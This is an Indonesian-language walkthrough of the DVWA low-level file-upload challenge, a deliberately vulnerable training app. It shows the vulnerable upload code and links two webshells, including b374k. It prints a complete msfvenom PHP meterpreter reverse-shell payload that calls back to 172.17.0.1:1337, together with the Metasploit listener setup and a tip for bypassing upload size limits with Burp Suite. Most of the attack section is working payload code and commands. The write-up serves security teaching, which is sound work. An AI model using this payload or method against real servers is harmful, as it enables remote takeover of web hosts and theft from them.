# Low

File Upload level Low on DVWA

Di bawah ini adalah *source-code* dari *file upload* level low di DVWA.

```bash
vulnerabilities/upload/source/low.php
<?php
​
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
​
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
​
?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Terdapat form untuk melakukan upload file. Ketika saya coba meng-upload file kosong dengan ekstensi `.php`, maka file tersebut akan terkirim dan bisa diakses.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-94VToCJSSKq1KnNDv%2F-M-9EnyENxbgL1NFWuSm%2Fimage.png?alt=media\&token=797ea161-ad51-4031-b459-7a4d0c7af9df)

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-94VToCJSSKq1KnNDv%2F-M-9E8K19WpAD3gOWzBb%2Fimage.png?alt=media\&token=c5e6a8d4-f63f-4493-929d-90f95c90934d)

Terlihat bahwa tidak ada validasi untuk `.php` di sini, sehingga kita bisa menfaatkannya untuk menjalankan shell berbahaya.

## Melakukan Serangan (Upload Webshell)

Webshell merupakan sekumpulan script yang mampu mengeksekusi perintah shell dalam sebuah web server. Web Shell ini umumnya akan ditanam oleh para hacker dengan memanfaatkan celah keamanan pada website untuk selanjutnya dimanfaatkan untuk berbagai kepentingan si penanam shell. Ada banyak jenis-jenis web shell yang digunakan, kemampuannya pun berbeda-beda. Dibawah ini disediakan 2 jenis webshell yaitu webshell sederhana yang membuat backdoor command execution sederhana dan yang memiliki banyak fitur.

{% file src="<https://2370299969-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTchLGQ78eoG4OiLFnV%2F-McoiqVKlv9RD9BE3fgn%2F-McoklrUPv7WklOF-A5l%2Fshell.php?alt=media&token=079df42f-1178-4533-95fc-63798900035c>" %}
Simple shell
{% endfile %}

{% file src="<https://2370299969-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MTchLGQ78eoG4OiLFnV%2F-Md2NpZ7O3OY7P_hiTSD%2F-Md2OP7WJwGhGW7zMSdG%2Fb374k.php?alt=media&token=f1915f1d-ce33-4dcf-b3db-2d4b33e69ce0>" %}
b374k
{% endfile %}

Langkah berikutnya lakukan pengunggahan.\
**Apabila terdapat pembatasan maksimal file, bypass dengan cara mengedit MAX FILE pada request (dengan Burpsuite).**

## Melakukan Serangan (Msfvenom+Metasploit) <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Pertama-tama, saya akan membuat shell-nya terlebih dahulu menggunakan tool **msfvenom**.

Sebenarnya kita bisa saja menggunakan simple web shell, tetapi saya mencoba mengajak anda untuk menggunakan tool sebagai pengalaman baru.

```bash
msfvenom -p php/meterpreter/reverse_tcp lhost=172.17.0.1 lport=1337
```

Keterangan:

* `php/meterpreter/reverse_tcp` adalah payload yang akan saya gunakan.
* `lhost` berisi IP dari saya (sebagai peretas).
* `lport` berisi port yang akan saya gunakan.

Nanti akan muncul *script* PHP kurang lebih seperti berikut:

```bash
/*<?php /**/ error_reporting(0); $ip = '172.17.0.1'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
```

Selanjutnya, adalah membuat file (contohnya **shell.php**) dan memasukan *script* tersebut dengan menghilangkan komentar di awal (tanda `/*`).

```
shell.php<?php /**/ error_reporting(0); $ip = '172.17.0.1'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
```

Langkah **kedua** adalah meng-upload file tersebut ke web DVWA.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-94VToCJSSKq1KnNDv%2F-M-9RKAa0IUGAK6iIQAp%2Fimage.png?alt=media\&token=2726a27d-5c2e-433c-8bfc-dc2ddf0bf685)

Langkah **ketiga** adalah menyiapkan PC peretas untuk menjadi *listener* bagi shell yang telah dibuat dengan menggunakan **metasploit**.

```bash
msfconsolemsf5 > use multi/handlermsf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 172.17.0.1msf5 exploit(multi/handler) > set lport 1337msf5 exploit(multi/handler) > run
```

Langkah **keempat** adalah mengakses shell tersebut. Dan jika berhasil kita bisa me-*remote* server tersebut seperti gambar di bawah ini.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-94VToCJSSKq1KnNDv%2F-M-9TI0bks5UFeXZeyG5%2Fimage.png?alt=media\&token=fddd20e4-6bc7-4bbf-afc4-59a8859c53ad)

Selamat!

Happy Hacking! 🍻
